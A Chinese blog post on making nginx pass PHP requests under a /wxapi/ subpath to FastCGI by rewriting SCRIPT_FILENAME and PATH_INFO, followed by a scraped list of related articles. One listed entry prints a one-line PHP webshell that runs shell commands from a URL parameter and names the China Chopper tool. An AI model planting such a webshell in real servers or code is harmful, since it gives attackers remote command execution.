记一次nginx php配置的心路历程
1.本来搞好了php的配置,想把目录下移一层 从 www.abc.com 变成 www.abc.com/wxapi ,由于我的真实文件目录比路由少了一层public 尝试了很多办法都不行 甚至想到了upstream+proxy_pass 但由于是内部转发会导致获取request url路径出问题。
例如我的路径是 www.abc.com/wxapi 想获取 /wxapi/public/index.php 用nginx各种正则也无法匹配对。因为$fastcgi_script_name 这里直接就是/wxapi/info.php,不能在中间硬插一个路径
在将近花费半天后 终于搞定 。终于搞清了fastcgi是如何匹配的
1.获取变量$fastcgi_script_name
2.用正则匹配出不含子路径/wxapi/的变量
3.拼接出真实的script_name地址。 #$real_script_name
4.这样fastcgi就可以解析最后的$doucument_root/$real_script_name 文件了
贴下代码
location /wxapi/ {
alias /usr/local/www/wxapi/public/;
index index.php index.html index.htm;
try_files $uri $uri/ index.php$is_args$args;
}
# location ~ \.php {
# echo 'fuck';
# }
location ~ ^/wxapi/.*\.php {
# 设置文件根路径
root /usr/local/www/wxapi/public/;
include fastcgi_params;
set $path_info "";
set $real_script_name $fastcgi_script_name;
##正则匹配URI,若能匹配将产生两个子组
if ($fastcgi_script_name ~ "^(/wxapi/)(.+?\.php)(/.+)?$") {
##将两个子组赋值给刚生成的两个nginx变量
set $real_script_name $2; #拼接出真实的script_name地址。 #$real_script_name
set $path_info $3; #支持pathinfo参数
}
# echo "real_script_name----$real_script_name";
# echo "path_info----$path_info";
# echo "document_root----$document_root";
fastcgi_index index.php;
# 这里一定要多一个/不然匹配会替换掉
fastcgi_param SCRIPT_FILENAME $document_root/$real_script_name;
fastcgi_param PATH_INFO $path_info;
fastcgi_pass unix:/usr/local/php-7.2.12/var/run/php-cgi.sock;
}
记一次nginx php配置的心路历程的更多相关文章
- 记一次Nginx的配置
记第一次Nginx的配置 Nginx 首先了解到Nginx是干什么的?它有哪些作用?比较常用到的基础功能有反向代理.负载均衡.正向代理.http服务器.这次部署用到的就是反向代理. 反向代理就是指在目 ...
- 我的Java历程_maven配置的心路历程
从github上download了个maven管理的开源项目,接下来随笔下安装maven的心路历程: 异常尴尬的是import进ide之后一个红色的感叹号!震惊!google一下知道了,maven没配 ...
- 【Asp.net Core】在 Linux 子系统中安装 nginx 并配置反向代理
上一篇鸟文中,老周已经介绍过在 Ubuntu 子系统中安装 dotnet-sdk 的方法,本文老周给大伙伴们说说安装 nginx 服务,并配置反向代理.同样,老周假设你从来没有用过 Linux,所以老 ...
- 如何在Nginx下配置PHP程序环境
1.nginx与PHP的关系 首先来看nginx与php的关系, FastCGI的关系(而不是像apache那样安装成nginx的模块) FastCGI的意思是, 快速的通用网关接口:CGI Comm ...
- 从零开始学 Java - CentOS 下 Nginx + Tomcat 配置负载均衡
为什么现在有非常多的聪明人都在致力于互联网? 最近在读埃隆·马斯克传记,他说「我认为现在有非常多的聪明人都在致力于互联网」. 仔细一想,好像真的是这样的. 我问了自己一个问题:如果你不敲代码了,你能做 ...
- Nginx主配置参数详解,Nginx配置网站
1.Niginx主配置文件参数详解 a.上面博客说了在Linux中安装nginx.博文地址为:http://www.cnblogs.com/hanyinglong/p/5102141.html b.当 ...
- nginx + tomcat配置负载均衡
目标:Nginx做为HttpServer,连接多个tomcat应用实例,进行负载均衡. 注:本例程以一台机器为例子,即同一台机器上装一个nginx和2个Tomcat且安装了JDK1.7. 1.安装Ng ...
- spring4+websocket+nginx详细配置
实现的版本jdk1.7.0_25, tomcat7.0.47.0, Tengine/2.1.1 (nginx/1.6.2), servlet3.0, spring4.2.2 使用maven导入版本3. ...
- Nginx Location配置总结
Nginx Location配置总结 语法规则: location [=|~|~*|^~] /uri/ { - }= 开头表示精确匹配^~ 开头表示uri以某个常规字符串开头,理解为匹配 url路径即 ...
随机推荐
- [视频]K8飞刀无代码编程之生成EXP
[视频]K8飞刀无代码编程之生成EXP 链接: https://pan.baidu.com/s/1CTBUpPrW3V8sHMd8yukZ8Q 提取码: ang7
- python numpy安装
一.python下的numpy安装方法 第一步:安装python,这里不做介绍. 第二步:打开cmd看python是否安装成功. 第三步:输入 python -m pip install -U pip ...
- 分布式高性能消息系统(Kafka MQ)的原理与实践
一.关于Kafka的一些概念和理解 Kafka是一个分布式的数据流平台,它基于独特日志文件形式,提供了高性能消息系统功能.也可以用于大数据流管道. Kafka维护了按目录划分的消息订阅源,称之为 To ...
- 线程安全-002-多个线程多把锁&类锁
一.多个对象多把锁 例子代码: package com.lhy.thread01; public class MultiThread { //static private int num = 0; / ...
- Android开发之漫漫长途 XVII——动画
该文章是一个系列文章,是本人在Android开发的漫漫长途上的一点感想和记录,我会尽量按照先易后难的顺序进行编写该系列.该系列引用了<Android开发艺术探索>以及<深入理解And ...
- Java 面试基础总结(一)
1.九种基本数据类型的大小以及它们的封装类 java提供的九种基本数据类型:boolean.byte(1).char(2).short(2).int(4).long(8).float(4).doubl ...
- Netty入门简介
前言 Netty是一个高性能.异步事件驱动的NIO框架,它提供了对TCP.UDP和文件传输的支持,作为一个异步NIO框架,Netty的所有IO操作都是异步非阻塞的,通过Future-Listener机 ...
- SaltStack数据系统-Pillar详解
1:存储位置 存储在master端,存放需要提供给minion的信息 每个minion只能访问master分配给自己的(应用场景) 2:在centos7 salt 2015.5.10 (Lithium ...
- 几种好用的经典webshell(php)
php经典一句话: <?php echo shell_exec($_GET['cmd']);?> 中国菜刀:官网:www.maicaidao.co原理:上传一句话(<?php @ev ...
- 你不知道的Linux(持续更新中)
1.关于GNU.Linux.GNU/Linux三者的关系 GNU 项目创始于一九八四年,旨在开发一个类似 Unix ,且为自由软件的完整的操作系统: GNU 系统.(也可把GNU看成一个自由软件工程) ...